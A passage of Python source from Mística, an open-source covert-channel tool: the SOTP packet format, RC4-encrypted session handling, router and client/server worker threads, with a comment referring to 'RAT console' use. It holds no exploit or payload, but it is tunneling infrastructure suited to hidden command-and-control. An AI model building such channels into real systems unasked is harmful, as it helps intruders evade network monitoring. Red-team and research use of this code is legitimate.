self._LOGGING_ and self.logger.debug_all(f"[{self.name}] signalEntry() received a signal Start") p = self.generateInitPacket() self.wait_reply = True response.append(Message("clientworker",0,self.wrappername,0,MessageType.STREAM,p.toBytes())) self.lastPacketSent = p self.st = Status.INITIALIZING elif data.isStopMessage(): self._LOGGING_ and self.logger.debug_all(f"[{self.name}] signalEntry() received a signal Stop") self.st = Status.STOPING elif data.isCommunicationBrokenMessage(): self._LOGGING_ and self.logger.debug_all(f"[{self.name}] signalEntry() received a signal CommunicationBrokenMessage") response = self.lookForRetries() elif data.isBufferReady() and self.lastPacketSent is not None: self._LOGGING_ and self.logger.debug_all(f"[{self.name}] signalEntry() received a signal Buffer Ready") if not self.transceiving: self.transceiving = True self._LOGGING_ and self.logger.debug_all(f"[{self.name}] signalEntry() not transceiving so generate a transfer packet") dpacket = self.makeTransferPacket(self.lastPacketRecv) response.append(Message("clientworker",0,self.wrappername,0,MessageType.STREAM,dpacket.toBytes())) else: self._LOGGING_ and self.logger.error(f"[{self.name}] Invalid signal on streamEntry {data}") raise Exception(f"Invalid signal on streamEntry {data}") return response # Main entry point, separated based on message type: data or signal def Entrypoint(self,data): try: if data.msgtype == MessageType.SIGNAL: self._LOGGING_ and self.logger.debug_all(f"[{self.name}] passing a signal message to Entrypoint") return self.signalEntry(data) else: self._LOGGING_ and self.logger.debug_all(f"[{self.name}] passing a stream message to Entrypoint") return self.streamEntry(data) except Exception as e: self._LOGGING_ and self.logger.exception(f"[{self.name}] Exception in Entrypoint: {e}") return self.lookForRetries() ================================================ FILE: sotp/core.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from sotp.packet import Packet from utils.bitstring import BitArray from utils.rc4 import RC4 from utils.buffer import Index, OverlayBuffer, WrapperBuffer BYTE = 8 class Header(object): SESSION_ID = 1 * BYTE SEQ_NUMBER = 2 * BYTE ACK = 2 * BYTE DATA_LEN = 2 * BYTE FLAGS = 1 * BYTE class OptionalHeader(object): SYNC_TYPE = 1 * BYTE class Sizes(object): HEADER = Header.SESSION_ID + Header.SEQ_NUMBER + Header.ACK + Header.DATA_LEN + Header.FLAGS OPTIONAL_HEADER = OptionalHeader.SYNC_TYPE MAX_MESSAGES = (2**Header.SEQ_NUMBER)-1 TAG = 2 * BYTE class Offsets(object): SESSION_ID = 0 + Header.SESSION_ID SEQ_NUMBER = SESSION_ID + Header.SEQ_NUMBER ACK = SEQ_NUMBER + Header.ACK DATA_LEN = ACK + Header.DATA_LEN FLAGS = DATA_LEN + Header.FLAGS SYNC_TYPE = 0 + OptionalHeader.SYNC_TYPE class Status(object): NOT_INITIALIZING = 0 INITIALIZING = 1 WORKING = 2 TERMINATING = 3 REINITIALIZING = 4 STOPING = 5 class Flags(object): SYNC = 1 PUSH = 2 class Sync(object): REQUEST_AUTH = 0 RESPONSE_AUTH = 1 REINITIALIZING = 2 POLLING_REQUEST = 5 SESSION_TERMINATION = 6 class Core(object): def __init__(self, key, maxretries, maxsize): self.rc4 = RC4(bytes(key, encoding='utf8'), False) self.st = Status.NOT_INITIALIZING self.maxretries = maxretries self.retries = 0 self.lastPacketSent = None self.lastPacketRecv = None self.bufOverlay = OverlayBuffer() self.bufWrapper = WrapperBuffer() self.checkMaxSizeAvailable(maxsize) def checkMaxSizeAvailable(self, maxsize): if maxsize > 2**Header.DATA_LEN: raise Exception(f"MaxSize {maxsize} is exced {2**Header.DATA_LEN} which is max representation with {Header.DATA_LEN} bits of Data Length") self.maxsize = maxsize @staticmethod def fromBytesToBitArray(data): return BitArray(bytes=data) @staticmethod def parseRawPacket(binarypacket): if len(binarypacket) < Sizes.HEADER: raise Exception(f"Raw Packet size {len(binarypacket)} is lower than the minimun Header size {Sizes.HEADER}") return binarypacket[:Sizes.HEADER], binarypacket[Sizes.HEADER:] @staticmethod def buildPacket(header, body): p = Packet() p.session_id = header[0:Offsets.SESSION_ID] p.seq_number = header[Offsets.SESSION_ID:Offsets.SEQ_NUMBER] p.ack = header[Offsets.SEQ_NUMBER:Offsets.ACK] p.data_len = header[Offsets.ACK:Offsets.DATA_LEN] p.flags = header[Offsets.DATA_LEN:Offsets.FLAGS] p.sync_type = None p.content = None if p.isFlagActive(Flags.SYNC): p.sync_type = BitArray(bin=body.bin[0:Offsets.SYNC_TYPE]) p.content = BitArray(bin=body.bin[Offsets.SYNC_TYPE:]) p.optional_headers = True else: p.sync_type = BitArray() p.content = BitArray(bin=body.bin) return p @staticmethod def transformToPacket(rawbytes): bitarraydata = Core.fromBytesToBitArray(rawbytes) header, body = Core.parseRawPacket(bitarraydata) packt = Core.buildPacket(header, body) return packt def checkMainFields(self,packt): if any(packt.session_id) == False: return False if any(packt.seq_number) == False: return False if any(packt.ack) == False: return False return True def checkForRetries(self): if self.retries == self.maxretries: self.retries = 0 return True self.retries = self.retries + 1 return False def lostPacket(self): if self.lastPacketSent is None: raise Exception("Last sent packet is None, cannot resend") else: return self.lastPacketSent def decryptWrapperData(self): packets = self.bufWrapper.getChunks() content = BitArray() for packet in packets: content.append('0b' + packet.content.bin) bytescontent = content.tobytes() decryptcontent = self.rc4.crypt(bytescontent) return decryptcontent def storeOverlayContent(self, data): data = self.rc4.crypt(data) index = Index() lendata = len(data) for i in range(0, lendata, self.maxsize): index.add(data[i:i + self.maxsize]) self.bufOverlay.addIndex(index) def someOverlayData(self): return self.bufOverlay.anyIndex() def checkConfirmation(self,packt): if self.lastPacketSent is None: raise Exception("Haven't sent any packet, can't perform confirmation.") if self.lastPacketSent.seq_number != packt.ack: return False return True def checkTermination(self,packt): if self.checkMainFields(packt) == False: return False if packt.isFlagActive(Flags.SYNC) == False: return False if packt.isSyncType(Sync.SESSION_TERMINATION) == False: return False return True ================================================ FILE: sotp/misticathread.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from threading import Thread from queue import Queue from utils.messaging import Message, MessageType, SignalType from argparse import ArgumentParser class MisticaMode: SINGLE = 0 MULTI = 1 class MisticaThread(Thread): def __init__(self, name, logger): Thread.__init__(self) self.name = name self.inbox = Queue() self.exit = False # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True def generateArgParser(self): config = self.CONFIG parser = ArgumentParser(prog=config["prog"],description=config["description"]) for arg in config["args"]: for name,field in arg.items(): opts = {} for key,value in field.items(): opts[key] = value parser.add_argument(name, **opts) return parser def handleMessage(self, msg): answer = None if (msg.isSignalMessage()): answer = self.handleSignal(msg) elif (msg.isStreamMessage()): answer = self.handleStream(msg) else: raise Exception('Invalid Message') return answer # OVERRIDE ME def handleSignal(self, msg): pass # OVERRIDE ME def handleStream(self, msg): pass # OVERRIDE ME def processAnswer(self, msg): pass def run(self): while True: try: message = self.inbox.get() answer = self.handleMessage(message) # Answer can be None self.processAnswer(answer) if self.exit: self._LOGGING_ and self.logger.debug(f"[{self.name}] MisticaThread detect Exit Flag.") break except Exception as e: self._LOGGING_ and self.logger.exception(f"[{self.name}] MisticaThread Exception: {e}") self._LOGGING_ and self.logger.debug(f"[{self.name}] Terminated") class ClientOverlay(MisticaThread): def __init__(self, name, qsotp, qdata, args, logger): MisticaThread.__init__(self, name, logger) self.qsotp = qsotp self.qdata = qdata self.hasInput = False # Generate argparse and parse args self.argparser = self.generateArgParser() self.args = self.argparser.parse_args(args.split()) self.parseArguments(self.args) # Get tag, by default, from args self.tag = self.args.tag[0] # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True self.initCommunication() # OVERRIDE ME def parseArguments(self, args): pass # First of all, Overlay send a Signal Start Msg to Sotp. def initCommunication(self): m = Message(self.name, 0, "clientworker", 0, MessageType.SIGNAL, SignalType.START) self.qsotp.put(m) def handleSignal(self, msg): if msg.isTerminateMessage() or msg.isCommunicationEndedMessage() or msg.isCommunicationBrokenMessage(): self.exit = True self.qsotp.put(Message(self.name, 0, "clientworker", 0, MessageType.SIGNAL, SignalType.TERMINATE)) pass def handleStream(self, msg): answer = None if (msg.sender == "input"): answer = self.handleInputStream(msg) elif (msg.sender == "clientworker"): answer = self.handleSOTPStream(msg) return answer def handleInputStream(self, msg): content = self.processInputStream(msg.content) if content is None: return None return Message(self.name, 0, "datathread", 0, MessageType.STREAM, content) def handleSOTPStream(self, msg): content = self.processSOTPStream(msg.content) if content is None: return None return Message(self.name, 0, "datathread", 0, MessageType.STREAM, content) # Route answer to sotp or datathread queue. def processAnswer(self, answer): if answer is not None: if answer.receiver == "clientworker": self.qsotp.put(answer) elif answer.receiver == "datathread": self.qdata.put(answer) pass # OVERRIDE ME def processInputStream(self, content): pass # OVERRIDE ME def processSOTPStream(self, content): pass class ClientWrapper(MisticaThread): def __init__(self, name, qsotp, logger): MisticaThread.__init__(self,name, logger) self.qsotp = qsotp self.exit = False # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True # Generate argparse self.argparser = self.generateArgParser() def handleSignal(self, msg): if msg.isTerminateMessage(): self.exit = True pass def handleStream(self, msg): try: if (msg.sender == self.name): return self.unwrap(msg.content) elif (msg.sender == "clientworker"): self.wrap(msg.content) except Exception as e: m = Message(self.name,0,"clientworker",0,MessageType.SIGNAL,SignalType.COMMS_BROKEN) self._LOGGING_ and self.logger.exception(f"[{self.name}] Exception at handleStream: {e}") self.qsotp.put(m) # Route answer to sotp queue. def processAnswer(self, answer): if answer is not None: m = self.messageToSOTP(answer) self.qsotp.put(m) def messageToSOTP(self, content): return Message(self.name, 0, "clientworker", 0, MessageType.STREAM, content) def messageToWrapper(self, content): return Message(self.name, 0, "wrapper", 0, MessageType.STREAM, content) # OVERRIDE ME def wrap(self, content): pass # OVERRIDE ME def unwrap(self, content): pass class ServerOverlay(MisticaThread): def __init__(self, name, id, qsotp, mode, args, logger): MisticaThread.__init__(self, name, logger) self.workers = [] self.id = id self.qsotp = qsotp self.mode = mode # Generate argparse and parse args self.argparser = self.generateArgParser() self.args = self.argparser.parse_args(args.split()) self.parseArguments(self.args) # Get tag self.tag = self.args.tag[0] # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True # override me! def parseArguments(self, args): pass def handleSignal(self, msg): answer = None if (msg.sender == "input"): answer = self.handleInputSignal(msg) elif (msg.sender == "serverworker" or msg.sender == "router"): answer = self.handleSOTPSignal(msg) return answer def handleInputSignal(self, msg): if msg.isTerminateMessage(): if self.mode == MisticaMode.SINGLE: return Message(self.name, self.id, "router", 0, MessageType.SIGNAL, SignalType.TERMINATE) else: return self.handleInterrupt() # override this function to alter the behavior on multihandler mode def handleInterrupt(self): print("Interrupt ignored.") return None def handleSOTPSignal(self, msg): answer = None if msg.isTerminateMessage(): self.exit = True elif msg.isCommsFinishedMessage() or msg.isCommsBrokenMessage(): if self.mode == MisticaMode.SINGLE: answer = Message(self.name, self.id, "router", 0, MessageType.SIGNAL, SignalType.TERMINATE) else: self.removeWorker(msg.sender_id) # crashed worker return answer def handleStream(self, msg): answer = None if (msg.sender == "input"): answer = self.handleInputStream(msg) elif (msg.sender == "serverworker"): answer = self.handleSOTPStream(msg) return answer def handleInputStream(self, msg): content = self.processInputStream(msg.content) # By default, only one worker. Must be overriden for more # In a multi-worker scenario inputs must be mapped to workers return self.streamToSOTPWorker(content, self.workers[0].id) def handleSOTPStream(self, msg): for worker in self.workers: if msg.sender_id == worker.id: break else: return None content = self.processSOTPStream(msg.content) if content is None: return None return self.streamToSOTPWorker(content, msg.sender_id) def processAnswer(self, answer): if answer is None: return elif answer.receiver == "serverworker": for worker in self.workers: if answer.receiver_id == worker.id: worker.inbox.put(answer) return elif answer.receiver == "datathread": for worker in self.workers: if answer.receiver_id == worker.id: worker.datainbox.put(answer) return elif answer.receiver == "router": self.qsotp.put(answer) # override me def processInputStream(self, content): pass # override me def processSOTPStream(self, content): pass def addWorker(self, worker): # By default only one worker can be added. # For multi-worker scenarios (e.g. RAT console), this method must be overrriden if not self.workers: # empty self.workers.append(worker) else: raise(f"Cannot Register worker on overlay module. Module {self.name} only accepts one worker") def removeWorker(self, id): for worker in self.workers: if id == worker.id: self.workers.remove(id) break def streamToSOTPWorker(self, content, workerid): return Message(self.name, self.id, "datathread", workerid, MessageType.STREAM, content) def signalToSOTPWorker(self, content, workerid): return Message(self.name, self.id, "serverworker", workerid, MessageType.SIGNAL, content) class ServerWrapper(MisticaThread): def __init__(self, id, name, qsotp, servername, args, logger): MisticaThread.__init__(self, name, logger) self.id = id self.servername = servername self.qsotp = qsotp # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True # Generate argparse self.argparser = self.generateArgParser() self.parseArguments(args) def handleSignal(self, msg): answer = None if (msg.sender == self.servername): answer = self.handleServerSignal(msg) elif (msg.sender == "router"): answer = self.handleSOTPSignal(msg) return answer def handleSOTPSignal(self, msg): if msg.isTerminateMessage(): self.exit = True return None def handleServerSignal(self, msg): # TODO pass def handleStream(self, msg): answer = None if (msg.sender == self.servername): answer = self.messageToRouter(self.unwrap(msg.content), msg.wrapServerQ) elif (msg.sender == "serverworker" or msg.sender == "router"): answer = self.messageToWrapServer(self.wrap(msg.content), msg.wrapServerQ) return answer # OVERRIDE ME def wrap(self, content): pass # OVERRIDE ME def unwrap(self, content): pass def processAnswer(self, answer): if answer is None: return if answer.receiver == "router": self.qsotp.put(answer) else: # For a wrap server answer.wrapServerQ.put(answer) def messageToRouter(self, content, wrapServerQ): if content is None: return None else: return Message(self.name, self.id, "router", 0, MessageType.STREAM, content, wrapServerQ) def messageToWrapServer(self, content, wrapServerQ): if content is None: return None else: return Message(self.name, self.id, self.servername, 0, MessageType.STREAM, content, wrapServerQ) ================================================ FILE: sotp/packet.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from utils.bitstring import BitArray BYTE = 8 class Packet(object): def __init__(self): self.session_id = None self.seq_number = None self.ack = None self.data_len = None self.flags = None self.sync_type = None self.content = None self.optional_headers = False # Method for transforming a sotp packet into BitArray def toBytes(self): data = BitArray() data.append('0b'+self.session_id.bin) data.append('0b'+self.seq_number.bin) data.append('0b'+self.ack.bin) data.append('0b'+self.data_len.bin) data.append('0b'+self.flags.bin) if self.optional_headers: data.append('0b'+self.sync_type.bin) if any(self.content): data.append('0b'+self.content.bin) return data.tobytes() def isFlagActive(self,checkflag): return True if self.flags.uint == checkflag else False def isSyncType(self,checktype): return True if self.optional_headers and self.sync_type.uint == checktype else False def anyContentAvailable(self): return True if any(self.data_len) and any(self.content) else False ================================================ FILE: sotp/route.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # class Route: def __init__(self, session_id, worker, wrap_module, overlay): self.session_id = session_id self.worker = worker self.wrap_module = wrap_module # MisticaThread self.overlay = overlay # MisticaThread ================================================ FILE: sotp/router.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from threading import Thread from queue import Queue from random import randint from utils.messaging import Message, MessageType, SignalType from utils.bitstring import BitArray from sotp.packet import Packet from sotp.serverworker import ServerWorker from sotp.core import Header, OptionalHeader, Sizes, Offsets, Status, Flags, Sync from sotp.core import Core from sotp.route import Route from sys import stderr class Router(Thread): def __init__(self, key, logger): Thread.__init__(self) self.inbox = Queue() self.wrapModules = [] self.wrapServers = [] self.overlayModules = [] self.workers = [] self.routes = [] self.pendingInit = [] self.workerID = 1 self.rc4 = key self.id = 0 self.name = "router" self.exit = False # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True def errorMessage(self, destination, destination_id): return Message(self.name, self.id, destination, destination_id, MessageType.SIGNAL, SignalType.ERROR) def addRoute(self, session_id, worker, wrap_module, overlay): self.routes.append(Route(session_id, worker, wrap_module, overlay)) def routeMessage(self, msg, sessionID): if (msg.sender == "serverworker"): # Outgoing for route in self.routes: if (route.session_id == sessionID): route.wrap_module.inbox.put(msg) break else: # incoming from wrapper for route in self.routes: if (route.session_id == sessionID): route.worker.inbox.put(msg) break else: # worker not found # Place error reply to unlock the server. for route in self.routes: if (route.wrap_module.id == msg.sender_id): route.wrap_module.inbox.put(self.errorMessage(route.wrap_module.name, route.wrap_module.id)) break def craftTerminateMessage(self, receiver, receiver_id): return Message(self.name, self.id, receiver, receiver_id, MessageType.SIGNAL, SignalType.TERMINATE) def handleSignal(self, msg): self._LOGGING_ and self.logger.debug("[Router] Terminating all threads") if msg.isTerminateMessage(): # shutdown everything for wm in self.wrapModules: wm.inbox.put(self.craftTerminateMessage(wm.name, wm.id)) for wm in self.wrapServers: wm.inbox.put(self.craftTerminateMessage(wm.name, wm.id)) for wm in self.workers: wm.inbox.put(self.craftTerminateMessage(wm.name, wm.id)) for wm in self.overlayModules: wm.inbox.put(self.craftTerminateMessage(wm.name, wm.id)) self.exit = True def sessionAlreadyExists(self, sessionID): for route in self.routes: if (route.session_id == sessionID): return True return False def newSessionID(self): while True: sessionID = BitArray(uint=randint(1, ((2**Header.SESSION_ID)-1)), length=Header.SESSION_ID) if not self.sessionAlreadyExists(sessionID): break return sessionID def generateAuthResponsePacket(self, req, sessionID): p = Packet() p.session_id = sessionID p.seq_number = BitArray(uint=1, length=Header.SEQ_NUMBER) p.ack = req.seq_number p.data_len = BitArray(bin='0' * Header.DATA_LEN) p.flags = BitArray(uint=Flags.SYNC, length=Header.FLAGS) p.optional_headers = True p.sync_type = BitArray(uint=Sync.RESPONSE_AUTH, length=OptionalHeader.SYNC_TYPE) p.content = BitArray() return p def validOverlayTag(self, tag): for overlay in self.overlayModules: if overlay.tag == tag: return True return False def initializeSOTPSession(self, msg): # Get sender: sender = None for wrapper in self.wrapModules: if wrapper.id == msg.sender_id: sender = wrapper self._LOGGING_ and self.logger.debug(f"[Router] Found {msg.sender} with id {msg.sender_id} in the WrapModule list") break else: # not a valid wrapper? self._LOGGING_ and self.logger.error(f"[Router] Error: Wrapper does not exist") return # Check if valid packet try: pkt = Core.transformToPacket(msg.content) except Exception as e: sender.inbox.put(self.errorMessage(sender.name, sender.id)) self._LOGGING_ and self.logger.exception(f"[Router] Exception on transformToPacket() {e}") return # Check if valid overlay tag if not self.validOverlayTag(pkt.content): sender.inbox.put(self.errorMessage(sender.name, sender.id)) self._LOGGING_ and self.logger.error(f"[Router] Error: Not a valid Overlay tag") return # Generate new random ID try: sessionID = self.newSessionID() except Exception as e: self._LOGGING_ and self.logger.exception(f"[Router] Exception on newSessionID() {e}") sender.inbox.put(self.errorMessage(sender.name, sender.id)) return # Add Session ID and overlay tag to pending and send response to wrapper authpkt = self.generateAuthResponsePacket(pkt, sessionID) self.pendingInit.append({ "sessionID": sessionID, "tag": pkt.content, "lastpkt": authpkt }) # Avoid DoS by rejecting old pendings: if len(self.pendingInit) > (Header.SESSION_ID / 2): self.pendingInit.pop(0) self._LOGGING_ and self.logger.debug(f"[Router] Passing Session Response back to {msg.sender}") sender.inbox.put(Message(self.name, self.id, sender.name, sender.id, MessageType.STREAM, authpkt.toBytes(),msg.wrapServerQ)) def spawnRoute(self, msg, sessionID, tag, lastpkt): overlay = None wrapper = None # Get overlay MisticaThread for available in self.overlayModules: if available.tag == tag: overlay = available break else: self._LOGGING_ and self.logger.error(f"[Router] Error: Overlay module no longer available") return # Get wrapper MisticaThread for available in self.wrapModules: if available.id == msg.sender_id: wrapper = available break else: self._LOGGING_ and self.logger.error(f"[Router] Error: Wrapper module no longer available") return self._LOGGING_ and self.logger.debug(f"[Router] Creating route for session 0x{sessionID.hex} from {wrapper.name} to {overlay.name}. Spawning worker...") worker = ServerWorker(overlay, self.workerID, self.inbox, wrapper.max_retries, wrapper.max_size, self.logger, self.rc4, sessionID, lastpkt) self.workers.append(worker) self.workerID += 1 self.routes.append(Route(sessionID, worker, wrapper, overlay)) self.pendingInit.remove({ "sessionID": sessionID, "tag": tag, "lastpkt": lastpkt }) worker.start() # ONLY gets the first N bytes where N is the size of the session_id field def getSessionID(self, binarypacket): return Core.fromBytesToBitArray(binarypacket)[0:Offsets.SESSION_ID] def run(self): self._LOGGING_ and self.logger.info(f"[Router] Staring up and waiting for messages...") while (not self.exit): msg = self.inbox.get() # inbox contains signal? if msg.isSignalMessage(): self._LOGGING_ and self.logger.debug(f"[Router] Signal received from {msg.sender} with content {msg.content}") self.handleSignal(msg) continue # This inbox contains a sotp packet from a worker or a wrapper try: sessionID = self.getSessionID(msg.content) except Exception as e: print(e) continue # New session? create pending init if (sessionID.hex == '00'): self._LOGGING_ and self.logger.info(f"[Router] New Session Request. Initializing...") self.initializeSOTPSession(msg) continue # Session init confirmed? for elem in self.pendingInit: if sessionID == elem['sessionID']: self.spawnRoute(msg, sessionID, elem['tag'], elem['lastpkt']) break # Established session! Route message self.routeMessage(msg, sessionID) self._LOGGING_ and self.logger.debug("[Router] Terminated") ================================================ FILE: sotp/serverworker.py ================================================ # # Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó. # # This file is part of Mística # (see https://github.com/IncideDigital/Mistica). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # from sotp.core import Header, OptionalHeader, Sizes, Offsets, Status, Flags, Sync from sotp.core import Core, BYTE from sotp.packet import Packet from threading import Thread from queue import Queue from utils.messaging import Message, MessageType, SignalType from utils.bitstring import BitArray class ServerWorker(Core, Thread): def __init__(self, overlay, id, SotpServerInbox, retries, maxsize, logger, key, sid, lastpkt): Core.__init__(self, key, retries, maxsize) Thread.__init__(self) self.overlay = overlay self.st = Status.WORKING # Server establishes session before a route is created self.inbox = Queue() self.datainbox = Queue() self.id = id self.sid = sid self.outbox = SotpServerInbox self.lastPacketSent = lastpkt self.lastPacketRecv = None self.seqnumber = lastpkt.seq_number.uint self.overlay.addWorker(self) self.exit = False # Logger parameters self.logger = logger self._LOGGING_ = False if logger is None else True # Method that checks if a packet is a Polling request def seemsPollingRequest(self,packet): if packet.isFlagActive(Flags.SYNC) == False: return False if packet.isSyncType(Sync.POLLING_REQUEST) == False: return False if any(packet.data_len) or any(packet.content): return False return True # Method that checks if a packet is a Data Transfer Packet def seemsPollingChunk(self,packet): if any(packet.flags): return False if any(packet.data_len) == False: return False if packet.data_len.uint != int(packet.content.length/BYTE): return False return True # Method that checks if a packet is a Data Transfer Packet with PUSH Flag def seemsPollingDataPush(self,packet): if packet.isFlagActive(Flags.PUSH) == False: return False if packet.optional_headers: return False if any(packet.data_len) == False: return False if packet.data_len.uint != int(packet.content.length/BYTE): return False return True # Method that checks if a packet is a confirmation. def seemsConfirmation(self,packet): if any(packet.flags): return False if any(packet.data_len) or any(packet.content): return False return True # Method that checks if a packet is a session reinitialization request. def seemsReinitRequest(self, packet): if not packet.isFlagActive(Flags.SYNC): return False if not packet.isSyncType(Sync.REINITIALIZING): return False if any(packet.data_len) or any(packet.content): return False return True # Method to check if the packet is a valid request from mistica client. # first it checks that the package has the sotp structure and then # if it fits any of the expected package types def checkWorkRequest(self,packet): if self.checkMainFields(packet) == False: return False if self.seemsPollingRequest(packet): return True if self.seemsConfirmation(packet): return True if self.seemsPollingChunk(packet): return True if self.seemsPollingDataPush(packet): return True return False # Method to check if the packet is valid reinitialization request def checkReinitialization(self, packet): if self.seemsReinitRequest(packet): return True return False # Method for generating a response to a Polling request def generatePollResponse(self,packet): p = Packet() p.session_id = self.sid self.seqnumber+=1 p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER) p.ack = packet.seq_number p.data_len = BitArray(bin='0'*Header.DATA_LEN) p.flags = BitArray(bin='0'*Header.FLAGS) p.content = BitArray() return p # Method for generating a session reinitialization response def generateReinitResponse(self,packet): p = Packet() p.session_id = self.sid self.seqnumber=1 p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER) p.ack = packet.seq_number p.data_len = BitArray(bin='0'*Header.DATA_LEN) p.flags = BitArray(bin='0'*Header.FLAGS) p.content = BitArray() return p # Method to generate a transfer packet (with data from the overlay) def generateTransferPacket(self,packt,content,push): p = Packet() p.session_id = self.sid self.seqnumber+=1 p.seq_number = BitArray(uint=self.seqnumber,length=Header.SEQ_NUMBER) p.ack = packt.seq_number p.data_len = BitArray(uint=len(content),length=Header.DATA_LEN) if push: p.flags = BitArray(uint=Flags.PUSH,length=Header.FLAGS) else: p.flags = BitArray(bin='0'*Header.FLAGS) p.sync_type = BitArray() p.content = BitArray(bytes=content) return p # Method that updates the reference to the last packet sent and/or received def storePackets(self,packetrecv,packetsent): if packetsent is not None: self._LOGGING_ and self.logger.debug(f"[ServerWorker {self.id}] Storing Sent Packet {packetsent.seq_number}") self.lastPacketSent = packetsent if packetrecv is not None: self._LOGGING_ and self.logger.debug(f"[ServerWorker {self.id}] Storing Recv Packet {packetrecv.seq_number}") self.lastPacketRecv = packetrecv # Method of starting a data transfer def makeTransferPacket(self,packet): response = None chunk, push = self.bufOverlay.getChunk() transpacket = self.generateTransferPacket(packet,chunk,push) response = transpacket if push and not self.bufOverlay.anyIndex(): self._LOGGING_ and self.logger.debug(f"[ServerWorker {self.id}] makeTransferPacket with PUSH") return response # Method that extracts data (if any) from a packet received from the client (by full-duplex). def extractIncomingData(self,packet): if any(packet.data_len) == False or any(packet.content) == False: return self.bufWrapper.addChunk(packet) return # Method that manages Polling Requests, Confirmations and Data Transfer packets # Data transfers can be full duplex def doWork(self,packet,wsrvinbox): response = None packettosend = None if packet.anyContentAvailable(): self.extractIncomingData(packet) if packet.isFlagActive(Flags.PUSH): data_decrypt = self.decryptWrapperData() self.overlay.inbox.put(Message("serverworker",self.id,'overlay',0,MessageType.STREAM,data_decrypt)) if self.someOverlayData(): packettosend = self.makeTransferPacket(packet) response = Message("serverworker",self.id,"router",0,MessageType.STREAM,packettosend.toBytes(),wsrvinbox) else: packettosend = self.generatePollResponse(packet) response = Message("serverworker",self.id,"router",0,MessageType.STREAM,packettosend.toBytes(),wsrvinbox) else: if self.someOverlayData(): packettosend = self.makeTransferPacket(packet) response = Message("serverworker",self.id,"router",0,MessageType.STREAM,packettosend.toBytes(),wsrvinbox) else: packettosend = self.generatePollResponse(packet) response = Message("serverworker",self.id,"router",0,MessageType.STREAM,packettosend.toBytes(),wsrvinbox) else: if self.someOverlayData(): packettosend = self.makeTransferPacket(packet) response = Message("serverworker",self.id,"router",0,MessageType.STREAM,packettosend.toBytes(),wsrvinbox) else: packettosend = self.generatePollResponse(packet) response = Message("serverworker",self.id,"router",0,MessageType.STREAM,packettosend.toBytes(),wsrvinbox) self.storePackets(packet,packettosend) self._LOGGING_ and self.logger.debug(f"[{self.name}] Header Sent: {response.printHeader()}") return response # Method that responds to a client termination request def doTermination(self,packet,wsrvinbox): self._LOGGING_ and self.logger.debug(f"[ServerWorker {self.id}] initializing Termination process") pollpacket = self.generatePollResponse(packet) self.st = Status.TERMINATING self.storePackets(packet,pollpacket) self.overlay.inbox.put(Message("serverworker",self.id,'overlay',0,MessageType.SIGNAL,SignalType.COMMS_FINISHED)) return Message("serverworker",self.id,"router",0,MessageType.STREAM,pollpacket.toBytes(),wsrvinbox) # Method that performs the session reinitialization process def doReinitialization(self, packet): reinitpacket = self.generateReinitResponse(packet) self.storePackets(packet, reinitpacket) return reinitpacket.toBytes() # Trigger method that performs the checks associated with each function and then invokes it # by returning a response. def initialChecks(self, msg, checkerFunc, nextFunc): self._LOGGING_ and self.logger.debug(f"[{self.name}] Header 